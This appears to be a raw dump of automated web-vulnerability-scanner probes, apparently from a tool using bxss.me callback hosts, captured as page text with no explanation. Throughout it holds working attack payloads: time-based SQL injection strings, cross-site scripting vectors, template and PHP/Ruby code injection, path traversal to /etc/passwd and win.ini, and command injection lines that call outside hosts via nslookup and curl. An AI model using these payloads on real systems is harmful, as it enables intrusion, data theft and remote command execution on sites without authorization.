20

  20

  @@faaGN

  20����%2527%2522\'\"

  20'"

  20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  20jnZWchf2')) OR 954=(SELECT 954 FROM PG_SLEEP(15))--

  20dZYamuYn') OR 694=(SELECT 694 FROM PG_SLEEP(15))--

  20JRWbLJH2' OR 59=(SELECT 59 FROM PG_SLEEP(15))--

  20-1)) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

  20-1) OR 456=(SELECT 456 FROM PG_SLEEP(15))--

  20-1 OR 646=(SELECT 646 FROM PG_SLEEP(15))--

  20o114wLlc')); waitfor delay '0:0:15' --

  20KY2MmMza'); waitfor delay '0:0:15' --

  20tTTdCWjy'; waitfor delay '0:0:15' --

  20-1 waitfor delay '0:0:15' --

  20-1)); waitfor delay '0:0:15' --

  20-1); waitfor delay '0:0:15' --

  20-1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z

  200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z

  20*if(now()=sysdate(),sleep(15),0)

  20

  20

  20

  20

  @@wYZDH

  %C0%A7%C0%A2%2527%2522\'\"

  '"

  '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  *DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  aiMRP0QQ')) OR 810=(SELECT 810 FROM PG_SLEEP(15))--

  BW3QOURW') OR 991=(SELECT 991 FROM PG_SLEEP(15))--

  lXkG69Kz' OR 531=(SELECT 531 FROM PG_SLEEP(15))--

  -1)) OR 87=(SELECT 87 FROM PG_SLEEP(15))--

  -1) OR 668=(SELECT 668 FROM PG_SLEEP(15))--

  20

  -1 OR 296=(SELECT 296 FROM PG_SLEEP(15))--

  20

  HSdQ6mn3')); waitfor delay '0:0:15' --

  nRvl4ioS'); waitfor delay '0:0:15' --

  nfvsKuSw'; waitfor delay '0:0:15' --

  -1 waitfor delay '0:0:15' --

  -1)); waitfor delay '0:0:15' --

  -1); waitfor delay '0:0:15' --

  -1; waitfor delay '0:0:15' --

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z

  0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z

  *if(now()=sysdate(),sleep(15),0)

 

 

 

  <iframe src="9885.com"></iframe>

 

  1ghBo

  }body{zzz:Expre/**/SSion(Bsm9(9890))}

  <a></a>

  <a href="http://xss.bxss.me"></a>

  <input>

  %F6<img>

  &lt;ScRiPt&gt;Bsm9(9463)&lt;/sCripT&gt;

  \u003CScRiPt\Bsm9(9939)\u003C/sCripT\u003E

  %0D%0A%3C%53%63%52%69%50%74%20%3E%42%73%6D%39%289110%29%3C%2F%73%43%72%69%70%54%3E

  <img src="&gt;">

  <img src="xyz">

  <img src="//xss.bxss.me/t/dot.gif">

 

  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  <form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  &lt;ScRiPt &gt;Bsm9(9481)

 

 

  IpT&gt;

  9575

 

  "||sleep(27*1000)*vcphqi||"

 

  '||sleep(27*1000)*gfsvht||'

 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  "&amp;&amp;sleep(27*1000)*sqmtsy&amp;&amp;"

  20

  dfb__${98991*97996}__::.x

  '&amp;&amp;sleep(27*1000)*lpdpds&amp;&amp;'

  dfb[[${98991*97996}]]xca

  20

  dfb{{98991*97996}}xca

  20

  '"()

  '.print(md5(31337)).'

  20<iframe src="9825.com"></iframe>

  ${@print(md5(31337))}\

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  20

  ${@print(md5(31337))}

  20jrCv3

  ";print(md5(31337));$a="

 

  20}body{zzz:Expre/**/SSion(xteC(9419))}

  ';print(md5(31337));$a='

  <a></a>

  <a href="http://xss.bxss.me"></a>

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  ".gethostbyname(lc("hitgb"."xvniaryv34a5f.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(77).chr(108).chr(80)."

  &lt;%={{={@{#{${dfb}}%&gt;

  20

  20<input>

  bfgx7177%C0%BEz1%C0%BCz2a%90bcxhjl7177

  '.gethostbyname(lc('hitnq'.'pkddmgli163ae.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(82).chr(117).chr(86).'

  bfg4367＜s1﹥s2ʺs3ʹhjl4367

  �<img>

  20&lt;ScRiPt&gt;xteC(9636)&lt;/sCripT&gt;

  9427413

  20\u003CScRiPt\xteC(9777)\u003C/sCripT\u003E

  '"()&amp;%

  20

  %32%30%3C%53%63%52%69%50%74%20%3E%78%74%65%43%289951%29%3C%2F%73%43%72%69%70%54%3E

  '"()&amp;%

  20<img src="&gt;">

  20<img src="xyz">

  20<img src="//xss.bxss.me/t/dot.gif">

  ctime sleep p0 (I30 tp1 Rp2 .

  20

  20<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo="></iframe>

  20<form><hr><label>This is a searchable index. Enter search keywords: <input name="isindex" type="image" src="1"></label><hr></form>

 

  '"

  20

  20&lt;ScRiPt &gt;xteC(9920)

  '+'A'.concat(70-3).concat(22*4).concat(103).concat(77).concat(98).concat(87)+(require'socket' Socket.gethostbyname('hitcg'+'enfmugtu8482c.bxss.me.')[3].to_s)+'

  20

  "+"A".concat(70-3).concat(22*4).concat(106).concat(71).concat(103).concat(76)+(require"socket" Socket.gethostbyname("hitxa"+"rojnlloe0bcd3.bxss.me.")[3].to_s)+"

  20

  index.php/.

  20%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%78%74%65%43%28%39%31%37%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

  /\xfs.bxss.me?parliament.mn

  index.php

  //xfs.bxss.me?parliament.mn

  209864

  index.php

  20

  xfs.bxss.me?parliament.mn

  20

  http://xfs.bxss.me?parliament.mn

  20

  961171

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  xfs.bxss.me

  dfb__${98991*97996}__::.x

  dfb[[${98991*97996}]]xca

  dfb{{98991*97996}}xca

  20

  ;(nslookup -q=cname hitcsgljrstxm3b5be.bxss.me||curl hitcsgljrstxm3b5be.bxss.me)|(nslookup -q=cname hitcsgljrstxm3b5be.bxss.me||curl hitcsgljrstxm3b5be.bxss.me)&amp;(nslookup -q=cname hitcsgljrstxm3b5be.bxss.me||curl hitcsgljrstxm3b5be.bxss.me)

  1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;

  `(nslookup -q=cname hitjkomjzbdkm6751d.bxss.me||curl hitjkomjzbdkm6751d.bxss.me)`

  20

  |(nslookup -q=cname hitzxhbcahbxj1144e.bxss.me||curl hitzxhbcahbxj1144e.bxss.me)

 

  &amp;(nslookup -q=cname hitprphgdpwlg1ffe4.bxss.me||curl hitprphgdpwlg1ffe4.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitprphgdpwlg1ffe4.bxss.me||curl hitprphgdpwlg1ffe4.bxss.me)&amp;`'

  20

  &amp;nslookup -q=cname hitsnvoireqsp9d9fa.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitsnvoireqsp9d9fa.bxss.me&amp;`'

  $(nslookup -q=cname hitgaptxkcozm06bd8.bxss.me||curl hitgaptxkcozm06bd8.bxss.me)

  "+response.write(9880252*9780016)+"

  &lt;%={{={@{#{${dfb}}%&gt;

  bxss.me/t/xss.html?%00

  12345'"\'\");|]*{ &lt;&gt;%BF''💡

  bfgx3039%C0%BEz1%C0%BCz2a%90bcxhjl3039

  (nslookup -q=cname hitihzmvcponob93cd.bxss.me||curl hitihzmvcponob93cd.bxss.me))

  HttP://bxss.me/t/xss.html?%00

  '+response.write(9880252*9780016)+'

  bfg7291%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7291

  |echo ejskrj$()\ xqkgwn\nz^xyu||a #' |echo ejskrj$()\ xqkgwn\nz^xyu||a #|" |echo ejskrj$()\ xqkgwn\nz^xyu||a #

  response.write(9880252*9780016)

  209439274

  &amp;echo tszves$()\ jhyelc\nz^xyu||a #' &amp;echo tszves$()\ jhyelc\nz^xyu||a #|" &amp;echo tszves$()\ jhyelc\nz^xyu||a #

  echo optaxy$()\ sbztev\nz^xyu||a #' &amp;echo optaxy$()\ sbztev\nz^xyu||a #|" &amp;echo optaxy$()\ sbztev\nz^xyu||a #

  '"()&amp;%

  20

  20'"()&amp;%

  ./

  20"||sleep(27*1000)*bddfqv||"

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  ../

  20'||sleep(27*1000)*zvsamx||'

  20"&amp;&amp;sleep(27*1000)*kzrkea&amp;&amp;"

  20'&amp;&amp;sleep(27*1000)*tklnev&amp;&amp;'

  '"()

  file:///etc/passwd

  20

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  bxss.me

  20

  c:/windows/win.ini

  20

  20

  /etc/shells

  http://bxss.me/t/fit.txt?.jpg

  20

  20

  20

  Http://bxss.me/t/fit.txt

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  '.print(md5(31337)).'

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  ^(#$!@#$)(()))******

  ${@print(md5(31337))}\

  ${@print(md5(31337))}

  !(()&amp;&amp;!|*|*|

  20

  )

  ";print(md5(31337));$a="

  ';print(md5(31337));$a='

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  20

  ;(nslookup -q=cname hitccxvkzhhuuec23f.bxss.me||curl hitccxvkzhhuuec23f.bxss.me)|(nslookup -q=cname hitccxvkzhhuuec23f.bxss.me||curl hitccxvkzhhuuec23f.bxss.me)&amp;(nslookup -q=cname hitccxvkzhhuuec23f.bxss.me||curl hitccxvkzhhuuec23f.bxss.me)

  ${10000161+10000268}

 

  `(nslookup -q=cname hitzyxzjnnwsnc06c0.bxss.me||curl hitzyxzjnnwsnc06c0.bxss.me)`

  |(nslookup -q=cname hitwmmtvcailma9a3f.bxss.me||curl hitwmmtvcailma9a3f.bxss.me)

  &amp;(nslookup -q=cname hitvwqsmmgpse16027.bxss.me||curl hitvwqsmmgpse16027.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitvwqsmmgpse16027.bxss.me||curl hitvwqsmmgpse16027.bxss.me)&amp;`'

  &amp;nslookup -q=cname hitpaexqacodj5d855.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitpaexqacodj5d855.bxss.me&amp;`'

  $(nslookup -q=cname hitpqszqwmgcj1b027.bxss.me||curl hitpqszqwmgcj1b027.bxss.me)

  ".gethostbyname(lc("hitkj"."cirbnsbjbfe27.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(78).chr(107).chr(72)."

  (nslookup -q=cname hitrswvbpbmyzf701e.bxss.me||curl hitrswvbpbmyzf701e.bxss.me))

  20

  20

  '.gethostbyname(lc('hityt'.'uctcrstd5febd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(70).chr(122).chr(84).'

  20

  20

  20|echo mguzze$()\ ryyxff\nz^xyu||a #' |echo mguzze$()\ ryyxff\nz^xyu||a #|" |echo mguzze$()\ ryyxff\nz^xyu||a #

  20

  |echo esktml$()\ zmikgj\nz^xyu||a #' |echo esktml$()\ zmikgj\nz^xyu||a #|" |echo esktml$()\ zmikgj\nz^xyu||a #

  20

  20&amp;echo kovazp$()\ mssqol\nz^xyu||a #' &amp;echo kovazp$()\ mssqol\nz^xyu||a #|" &amp;echo kovazp$()\ mssqol\nz^xyu||a #

  &amp;echo fsycyt$()\ mxzgeq\nz^xyu||a #' &amp;echo fsycyt$()\ mxzgeq\nz^xyu||a #|" &amp;echo fsycyt$()\ mxzgeq\nz^xyu||a #

  echo myxhkk$()\ gervkv\nz^xyu||a #' &amp;echo myxhkk$()\ gervkv\nz^xyu||a #|" &amp;echo myxhkk$()\ gervkv\nz^xyu||a #

  20

 

  '"

  '+'A'.concat(70-3).concat(22*4).concat(114).concat(83).concat(97).concat(77)+(require'socket' Socket.gethostbyname('hitpw'+'hlghxobra6e7a.bxss.me.')[3].to_s)+'

  /\xfs.bxss.me?parliament.mn

  "+"A".concat(70-3).concat(22*4).concat(115).concat(73).concat(120).concat(71)+(require"socket" Socket.gethostbyname("hithd"+"ryonhvnx26476.bxss.me.")[3].to_s)+"

  //xfs.bxss.me?parliament.mn

  xfs.bxss.me?parliament.mn

  http://xfs.bxss.me?parliament.mn

  975087

  xfs.bxss.me

  20

  12345'"\'\");|]*%00{%0d%0a&lt;%00&gt;%bf%27'💡

  bxss.me

  bxss.me/t/xss.html?%00

  c:/windows/win.ini

  HttP://bxss.me/t/xss.html?%00

  "+response.write(9650135*9493398)+"

  /etc/shells

  ./20

  '+response.write(9650135*9493398)+'

  http://bxss.me/t/fit.txt%3F.jpg

  ../20

  response.write(9650135*9493398)

  Http://bxss.me/t/fit.txt

  20

  20

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

  file:///etc/passwd

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

  ../../../../../../../../../../../../../../windows/win.ini

  ../../../../../../../../../../../../../../etc/passwd

  20

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

  20

  20

  ^(#$!@#$)(()))******

  !(()&amp;&amp;!|*|*|

  )

  20

  20

  ${10000336+9999777}

  20

  20

  20

  20

  20

  20